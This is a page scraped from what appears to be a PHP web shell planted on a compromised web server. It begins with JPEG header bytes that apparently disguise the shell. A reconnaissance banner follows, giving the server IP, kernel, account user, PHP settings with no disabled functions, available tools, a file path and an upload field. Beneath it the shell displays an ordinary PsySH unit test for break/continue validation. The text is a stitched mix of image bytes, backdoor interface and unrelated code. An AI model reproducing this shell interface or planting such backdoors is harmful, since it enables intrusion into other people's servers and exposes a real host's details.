ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/psy/psysh/test/Psy/Test/CodeCleaner/ |
Upload File : |
<?php
/*
* This file is part of Psy Shell.
*
* (c) 2012-2017 Justin Hileman
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Psy\Test\CodeCleaner;
use PhpParser\NodeTraverser;
use Psy\CodeCleaner\LoopContextPass;
class LoopContextPassTest extends CodeCleanerTestCase
{
public function setUp()
{
$this->pass = new LoopContextPass();
$this->traverser = new NodeTraverser();
$this->traverser->addVisitor($this->pass);
}
/**
* @dataProvider invalidStatements
* @expectedException \Psy\Exception\FatalErrorException
*/
public function testProcessStatementFails($code)
{
$stmts = $this->parse($code);
$this->traverser->traverse($stmts);
}
public function invalidStatements()
{
return array(
array('continue'),
array('break'),
array('if (true) { continue; }'),
array('if (true) { break; }'),
array('if (false) { continue; }'),
array('if (false) { break; }'),
array('function foo() { break; }'),
array('function foo() { continue; }'),
// actually enforce break/continue depth argument
array('do { break 2; } while (true)'),
array('do { continue 2; } while (true)'),
array('for ($a; $b; $c) { break 2; }'),
array('for ($a; $b; $c) { continue 2; }'),
array('foreach ($a as $b) { break 2; }'),
array('foreach ($a as $b) { continue 2; }'),
array('switch (true) { default: break 2; }'),
array('switch (true) { default: continue 2; }'),
array('while (true) { break 2; }'),
array('while (true) { continue 2; }'),
// invalid in 5.4+ because they're floats
// ... in 5.3 because the number is too big
array('while (true) { break 2.0; }'),
array('while (true) { continue 2.0; }'),
// and once with nested loops, just for good measure
array('while (true) { while (true) { break 3; } }'),
array('while (true) { while (true) { continue 3; } }'),
);
}
/**
* @dataProvider invalidPHP54Statements
* @expectedException \Psy\Exception\FatalErrorException
*/
public function testPHP54ProcessStatementFails($code)
{
if (version_compare(PHP_VERSION, '5.4.0', '<')) {
$this->markTestSkipped();
}
$stmts = $this->parse($code);
$this->traverser->traverse($stmts);
}
public function invalidPHP54Statements()
{
return array(
// In PHP 5.4+, only positive literal integers are allowed
array('while (true) { break $n; }'),
array('while (true) { continue $n; }'),
array('while (true) { break N; }'),
array('while (true) { continue N; }'),
array('while (true) { break 0; }'),
array('while (true) { continue 0; }'),
array('while (true) { break -1; }'),
array('while (true) { continue -1; }'),
array('while (true) { break 1.0; }'),
array('while (true) { continue 1.0; }'),
);
}
/**
* @dataProvider validStatements
*/
public function testProcessStatementPasses($code)
{
$stmts = $this->parse($code);
$this->traverser->traverse($stmts);
}
public function validStatements()
{
return array(
array('do { break; } while (true)'),
array('do { continue; } while (true)'),
array('for ($a; $b; $c) { break; }'),
array('for ($a; $b; $c) { continue; }'),
array('foreach ($a as $b) { break; }'),
array('foreach ($a as $b) { continue; }'),
array('switch (true) { default: break; }'),
array('switch (true) { default: continue; }'),
array('while (true) { break; }'),
array('while (true) { continue; }'),
// `break 1` is redundant, but not invalid
array('while (true) { break 1; }'),
array('while (true) { continue 1; }'),
// and once with nested loops just for good measure
array('while (true) { while (true) { break 2; } }'),
array('while (true) { while (true) { continue 2; } }'),
);
}
}